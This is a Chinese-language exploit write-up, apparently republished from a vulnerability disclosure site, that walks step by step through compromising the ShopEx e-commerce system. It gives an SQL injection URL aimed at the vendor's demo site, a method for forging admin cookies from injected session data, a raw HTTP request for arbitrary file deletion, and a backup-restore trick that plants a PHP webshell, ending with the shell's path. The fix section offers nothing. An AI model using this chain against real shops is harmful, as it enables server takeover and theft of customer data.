好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

ShopEx一步一步拿shell - 网站安全 - 自学php

0x1 爆路径 http://demo.shopex测试数据.cn/485/index.php?gOo       额~ 这个表示对我无用   0x2 注入 http://demo.shopex测试数据.cn/485/?member-120120822173108'/**/and/**/ExtractValue(0x64,concat(0x01,(select/**/@@version)))/**/order/**/by/**/'1-orderdetail.html       得到一个注入点,一般接下来的步骤都是爆密码,解md5,可是我觉得我rp极差,一般都解不出,所以..第三步   0x3 后台cookie设置 登录成功之后会设置3个cookie   setcookie('SHOPEX_LG_KEY',md5(remote_addr().$aResult['op_id'])); setcookie("SHOPEX_LOGIN_NAME",$_POST['usrname'],(time()+86400*10)); setcookie( "SHOPEX_SID", $this->sess_id );   function remote_addr(){     if(!isset($GLOBALS['_REMOTE_ADDR_'])){         $addrs = array();           if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){             foreach( array_reverse( explode( ',',  $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) as $x_f )             {                 $x_f = trim($x_f);                   if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $x_f ) )                 {                     $addrs[] = $x_f;                 }             }         }           $GLOBALS['_REMOTE_ADDR_'] = isset($addrs[0])?$addrs[0]:$_SERVER['REMOTE_ADDR'];     }     return $GLOBALS['_REMOTE_ADDR_']; } 我们跑到XXX_op_sessions表 注射出sess_id,跑去XXX_operators表 注射出username和对应的op_id,构造cookie 登录上后台,本来想拿演示网做测试,结果我所在的网络有点奇葩,算了,本地测试成功。。。。   0x4 后台任意文件删除 终于进入后台了,先玩一下 构造 HdhCmsTest2cto测试数据     POST /shopex/shopadmin/index.php?ctl=system/comeback&act=removeTgz&_ajax=true&_ss=setting,tools HTTP/1.1 Host: 10.1.1.100 Proxy-Connection: keep-alive Content-Length: 38 Origin: http://10.1.1.100 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.79 Safari/537.1 Content-type: application/x-www-form-urlencoded; charset=UTF-8 Accept: text/javascript, text/html, application/xml, text/xml, */* Referer: http://10.1.1.100/shopex/shopadmin/index.php Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 Cookie: *********************   tgz[]=multibak_20120822202808.tgz&__=1 把tgz[]换成想删除的文件的相对路径,极其鸡肋,对我来说也是无用     0x5 后台拿shell 本来还是想拿官网演示站 做演示的 结果 相应的功能被禁用了,rp如此之差 完全可以体现出来了 本地测试~~~ 先备份个,然后直接 下载 备份文件,修改压缩文件里面的文件名以及文件内容       最后将压缩文件的后缀修改为jpg 后台直接传图片 获取图片地址   在数据恢复处 恢复数据 截包修改     GET /shopex/shopadmin/index.php?ctl=system/comeback&act=comeback&p[0]=multibak_20120822202808.tgz&p[1]=1345638490&p[2]=2&_ajax=true&_ss=setting,tools HTTP/1.1 Host: 10.1.1.100 Proxy-Connection: keep-alive X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.79 Safari/537.1 Accept: text/javascript, text/ html , application/xml, text/xml, */* Referer: http://10.1.1.100/shopex/shopadmin/index.php Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 Cookie: ******************   将p[0]修改为之前上传图片的地址 如:/images/default/default_preview_pic.jpg 在拦截到最后一个包的时候不给予通过~ 如果通过之后会把之前的临时文件给删除   最后shell路径: /home/tmp/md5('/images/default/default_preview_pic.jpg')/yy520.php.sql   基本原理和 http://wooyun.org/bugs/wooyun-2012-010431 差不多~ 所以就少截一点图了。 修复方案: 其实我也不太懂 :)

查看更多关于ShopEx一步一步拿shell - 网站安全 - 自学php的详细内容...

  阅读:41次